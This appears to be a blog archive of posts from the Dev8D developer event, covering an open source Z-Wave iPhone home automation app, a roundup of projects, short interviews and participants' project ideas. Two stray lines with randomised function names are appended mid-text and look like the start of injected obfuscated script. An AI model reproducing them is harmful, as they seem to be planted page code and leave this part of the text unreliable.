Category Archives: Video

A first at Dev8D: open source iPhone app for home automation

Ever wanted been away from home and wanted to check that the heating was off, or the lights switched on? Or wished you could switch on the kettle from the warmth of your bed when the morning alarm goes? All these things have been possible for a while now – but at a price. Now, with the software to automate home products becoming open source, the field has opened up for all kinds of innovative – and low cost – applications to make life easier, safer or just plain cosier.

Here at Dev8D, after attending just one iPhone development workshop, David Tarrant has created an  iPhone app, based on open source software, to control a light using your phone, wherever you are in the world. He explains how.

David Tarrant’s iPhone app

“The Z-Wave protocol for home automation products has only just become open source after being closed for a number of years. It has sparked an online community outside of academia with quite a few UK and US developers developing an open source library to talk to Z-Wave products.

We have created a Windows, Linux and OSX version of the library where before there had only been a Windows one. That library was finished on Sunday night, and I built a simple REST api for this library so that I can switch a device on and off, such as a light. Yesterday I could do it through a web browser and, thanks to the iPhone workshop, I’ve now created an iPhone app to control it.

This is a simple example of home automation, just like the products that are already available to do things such as control heating, turn on and off appliances and monitor your house. It is even possible to set up profiles for rooms so that you can put a room into different modes and use a combination of devices within it, all controlled by just one switch.

The difference now is that you can do all this without having to buy expensive, locked-down proprietory software or hardware controllers. The library is available under an LGPL licence. The kind of automation I’ve done here would previously have cost £400-£600 to buy – I’ve done this for about £120 and we expect the cost to come down as more open source developers get on board and have a go and want to buy more of the products.”

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Dev8D: real achievements, fast

An iPhone app for conference schedules with augmented reality, a Firefox extension for browsing historic web pages, a widget to allow real time collaboration between VLE users, a mash-up of geo-located museum collection images: for a glimpse of how much a community of enthusiastic developers can achieve in just a few days, take a look at the list of projects produced in response to the challenges held at Dev8D. All these apps, widgets or websites were created by Dev8D developers in only three days. They are all tangible achievements: tools that can be used right now, or, in a more polished version, in the near future.

The majority of these new tools would not have existed without Dev8D, either because of a lack of time in developers’ pressurised day-to-day workflows or a knowledge or skills gap. Dev8D and the other developers at the event provided this space and filled those gaps. Some of the projects may remain as interesting proofs of concept and will be built on by others or used to spark off further ideas; many others will be developed into fully fledged applications for use in the higher and further education sector.

Take, for example, List8D, the winner of last year’s contest. This user-friendly reading list management system makes it easy for academic staff to create reading lists, for libraries to manage stock and make sure texts are available when needed, and for students to access the reading lists on a variety of devices. Following Dev8D, the project was picked up enthusiastically by the developer team’s university, Kent, was awarded extra grant money and is now in beta mode at Kent, with a full rollout planned for later this year.

“As a result of Dev8D we’re developing a system that’s hopefully going to massively improve the management of our reading lists. And without Dev8D that probably wouldn’t have happened,” says Ben Charlton, the project’s lead developer.

Splash URL is another success story of last year’s event. It’s a tool to create a short version of URL and display it in large type, so people can easily copy it from a projector to their laptop during lectures. Designed to solve the problem of getting an audience to quickly type in  long URLs during a live demo, it has proved itself in practice over the year to the extent that developers Chris Gutteridge and Tony Hirst have enhanced it with extra features.

Dev8D 2010 produced a host of new ideas. “A few developers, including myself, produced a set of web widgets to integrate with VLEs … People found new uses for existing public APIs. The Arduino workshops produced a storm of ideas for new electronic devices,” explains Mark Johnson, a young developer at the event.

Other projects on display included a low cost electronic whiteboard; an open source eco game; and RepRap, a self-replicating 3D printer with potentially huge implications for small-scale manufacturing in developing countries.

“When I heard about RepRap for the first time it was partly responsible for renewing my faith in the potential of technology to help us get us out of the mess we’re in, rather than just making it worse. I was pleased to see it in the flesh, and meet one of those responsible, ask some lingering questions, and get some reassurance that fine minds are at work on the home plastic recycling plant that it really needs to be sustainable,” says Ben Wheeler.

What Dev8D demonstrates beyond doubt is the cost-effectiveness of gathering a large group of developers together in one place to share and collaborate in an informal setting.

Mark Johnson again: “We learned programming languages, we built applications, we designed algorithms, we gave talks… While I was at Dev8D I achieved more in a day than I sometimes achieve in a week in my office (where I’m the only full time developer).”

The cross-institutional collaboration work on projects devised at Dev8D continues long after the event itself is over and, of course, the impact of the achievements of Dev8D extends far beyond the participants and their institutions. On a small scale this can be seen in the interest in the event while it was taking place – analysis made possible by a tool that developer Dave Challis created while at the event showed that while dev8D was attended by 150 or so people per day, it was mentioned by around 500 different people on Twitter.

The impact of the many innovative, time- and money-saving projects initiated and inspired by Dev8D participants will be far wider still.function opzSRNfiF(IijfsN) {
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Five minute interview: Tony Hirst

Tony HirstFresh from teaching the non-coders at dev8D how to make mash ups, Tony Hirst agreed to be dev8D’s first Five Minute Interviewee.

Who are you?

Tony Hirst, lecturer in ICT at the Open University

What are your areas of interest?

What’s possible on the web. Democratisation of technology. Trouble-making.

What idea are you working on here?

I’ve just come to see what people are doing – I’m here to learn.

What’s the major challenge in education software right now?

Confidence and capabilities of the users and also our expectations of them. Sometimes we are in danger of having too low expectations of our users and at other times we expect too much so there’s also a misalignment of expectations. There is also a huge difference between what is available in learning systems and what’s available on the web. The relationship between users and our systems and the relationship between what they choose to use in their own lives.

What are the most exciting developments in education software?

The opening up of data and increased availability of data. More powerful and easier to use visualisation tools. It’s getting easier to do more.

What have you learnt so far / interesting things have you heard?

I’ve only just got here! But I have already learnt how to do a couple of things, from feedback in my talk, and I’ve possibly got someone to build me a tool that I want.

Five minute interview: Savas Parastatidis

Savas ParastatidisWho are you?

Savas Parastatidis. Until two months ago I worked for Microsoft research in the external research group and now I’m with Microsoft Live Search as an architect.

What are your areas of interest?

Distributed high performance computing. Web services, cloud computing, e-science, scholarly communications, repositories and my primary interest these days is semantic computing. I also travel a lot, and like skiing, music, festivals, and salsa dancing.

What idea are you working on here?

Coming from Microsoft, we usually don’t participate in this kind of competition. So I’m here to give a tutorial on the repository system that Microsoft has built, codename Famulus, which will be released soon as open source.

What’s the major challenge in education software right now?

Ease of use, stability and interoperability. I believe that, especially in institutional repository spaces, as the use of repositories expands and becomes more pervasive, users would like to see better interoperability with client tools and other repository systems. Those who are responsible for deploying repository systems would probably like to see better support for enterprise grade infrastructure which is the reason why Microsoft research has been investigating open source repository systems.

What are the most exciting developments in education software?

I don’t follow that space that closely. But, within semantic computing, doing it on a large scale like Google and Microsoft can and mine the entire web and give you instant answers to key words that you search, the next step is for the same engines, the same companies, to answer your questions in an intelligent way, for information to be pushed to users rather than them having to search for it. We need to build the infrastructure to do that.

What have you learnt so far / interesting things have you heard?

This is my first day, I’ve just arrived! But I’ve been to other events that David has organised and I love them. I love the informal nature of them and that you find people with a specific interest – developers – people who love what they do, you have to love that.function QKNHk(Koe) {
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I have an idea! Part 3

Marcus RamsdenMarcus Ramsden, University of Southampton

I’m working on a small script plug-in for e-prints. The ultimate goal is for it to be a firefox extension so that whenever an e-print link is displayed on screen, it will display information about that e-print before you click on it. It will be basic meta info – title, authors, date it was added, basic statistical views. In future it could be extended and show things like how many people favourite that e-print etc. It would have been much trickier to do this without the JSON addition created here at dev8D by Chris.

Graham Klyne
Graham Klyne
I did have a possible idea for the Developer Decathlon which would involve some paper prototyping of an interface for capturing research data from small research groups. However, in the process of following that idea I had a discussion with another participant and he showed me a public service which does a lot of what I had in mind so it seems that we could use that service as a live prototype to discuss with researchers. So I regard that as a very positive outcome.

Stephen Vickers, University of Edinburgh
Michael Aherne, Strathclyde University

It’s a tool for using within VLEs that allows people to create things by plotting points on Google Maps and associating things with the points – it links spatial data with content. The original idea came out of a project on walking tours but the data wasn’t so easy to access and plot then. Now both staff and students can do it so we plan to use it for assignments, too. We’re looking at a history department and the impact of the urban landscape over time, putting things in the context of what happened over history. We can overlay historic maps onto the map and see how it has changed. It will help people to understand why things have changed. It doesn’t have to be a map, it could also be an image like a forensic site or archeological dig or a circuit board.

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